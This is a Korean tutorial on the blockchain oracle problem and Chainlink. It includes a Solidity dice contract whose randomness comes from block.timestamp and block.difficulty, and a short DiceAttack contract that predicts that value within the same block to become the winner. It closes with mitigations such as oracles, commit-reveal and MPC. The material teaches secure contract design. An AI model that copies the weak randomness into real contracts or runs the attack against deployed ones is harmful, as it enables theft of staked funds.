만약 수천 개의 노드가 존재하는 탈중앙화 환경이 마련되어 있더라도 원본 데이터 소스를 블록체인 세상에 가져다가 넣는 주체가 하나의 노드로 구성된 경우라면 탈중앙화의 의미가 없어지게 된다.
예를들어 잘못된 코인 가격 정보를 오프체인으로부터 가져와 블록체인에 저장한다면 이는 아무 의미가 없다.
이렇게 오프체인에 있는 데이터를 온체인에 기록할때 기록하는 주체에 대한 신뢰성이라는 블록체인의 한계에 직면하였고 이런 문제를 오라클 이슈라고 부른다.
스마트 컨트랙트에 정보가 기록되는 순간 잘못된 정보가 기입된다면 블록체인 안에서는 정보의 조작으로부터 자유롭지만 블록체인 외부에서 조작된 정보가 들어올 경우 여기로부터 발생하는 문제는 블록체인의 시스템에서 책임질 수 없다.
이런 오라클 이슈에 대한 솔루션으로 여러 서비스가 있는데 대표적으로 체인링크가 있다.
체인링크는 단일 노드가 판단하는 것이 아닌 생태계 여러 참여자들이 합의를 거친 데이터를 탈중앙화 된 체인으로 옮겨주는 역할을 한다. 이런 체인링크 서비스를 통해 오프체인상에서 더욱 안전한 데이터를 가져올 수 있다.
Get a Random Number | Chainlink Documentation
Subscription Manager User Interface | Chainlink Documentation
블록체인 상에서 가져오는 데이터가 신뢰할 수 없거나 안정성을 보장하지 못하는 상황이 있다.
대표적인 예가 랜덤값이라고 볼 수 있는데 온체인 상에서 랜덤값을 가져왔을때 어떤 문제점이 있는지 알아보자.
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "hardhat/console.sol";
contract Dice {
constructor() payable {}
receive() external payable {
}
address private winner;
function roll(uint8 dice_number) public payable {
uint8 dice = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%251);
console.log(dice);
if(dice_number == dice){
winner = msg.sender;
}
}
function getWinner() public view returns(address) {
return winner;
}
}
위 컨트랙트는 임의의 랜덤한 값을 먼저 찾아내는 사람이 상금을 가져가는 컨트랙트이다.
사용자가 roll()을 파라메터와 함께 호출하고 dice_number가 실제 랜덤 값과 동일하면 그 사용자가 위너가 된다.
위 컨트랙트를 해킹하는 코드는 다음과 같다.
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IDice{
function roll(uint8) external;
}
contract DiceAttack {
function attack(address _address) public payable {
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%251);
IDice(_address).roll(answer);
}
function withdraw(address payable _to) public {
_to.transfer(address(this).balance);
}
}
Dice 컨트랙트 roll()에서 사용되는 로직을 그대로 가져와 구현하였다.
그리고 인터페이스를 사용하여 Dice.roll()을 원본 컨트랙트 주소와 함께 호출하는 attack() 함수를 구현하였다.
block.timestamp, block.difficulty와 같은 데이터로 생성한 랜덤값은 같은 블록 내에서 동일한 로직으로 같은 랜덤값을 구할 수 있는 원리이다.
어택 함수를 통해 랜덤값을 맞춤
이런 문제를 해결하기 위해 오라클 이슈 솔루션 서비스를 사용 할 수 있다.
그외의 방법으로는 다음과 같은 방법들이 있다.
각 참가자는 랜덤한 값을 선택하고 그것의 해시값을 블록체인에 커밋합니다. 모든 참가자가 커밋한 후, 실제 값을 블록체인에 공개(리빌)합니다. 이후 모든 공개된 값들을 합산하여 랜덤한 값을 생성할 수 있습니다. 이 방법은 컨센서스가 필요하고, 한 명이라도 리빌을 하지 않으면 문제가 생깁니다.
사용자로부터 랜덤한 값을 입력받아, 그 값을 블록체인 내의 다른 요소와 결합하여 랜덤 값을 생성하는 방법도 있습니다. 하지만 이 경우, 사용자가 악의적으로 값을 조작할 수 있으므로 신뢰성이 떨어집니다.
블록의 해시 값을 일종의 '시드(seed)'로 사용하여 랜덤 값을 생성하는 방법이 있습니다. 그러나 미너가 블록을 조작할 가능성이 있으므로 이 방법은 완벽하게 안전하다고 볼 수 없습니다.
여러 참가자가 함께 랜덤한 값을 생성하는 방법입니다. 각 참가자는 자신만이 알고 있는 랜덤한 '조각'을 생성하고, 이들을 합산하여 최종 랜덤 값을 도출합니다. MPC는 보통 복잡하고 연산 비용이 높지만, 높은 수준의 보안을 제공할 수 있습니다.
임계치 서명은 여러 개의 개인 키가 필요한 서명 방식입니다. 이를 통해 랜덤 값을 생성할 수 있으며, 하나의 악의적인 노드가 결과를 조작하는 것을 방지할 수 있습니다.
각 방법은 그 자체로 장단점이 있으며, 사용 사례나 필요한 보안 수준에 따라 적절한 방법을 선택해야 합니다. 블록체인과 암호학의 발전에 따라 더 나은 해결책이 나올 수도 있습니다.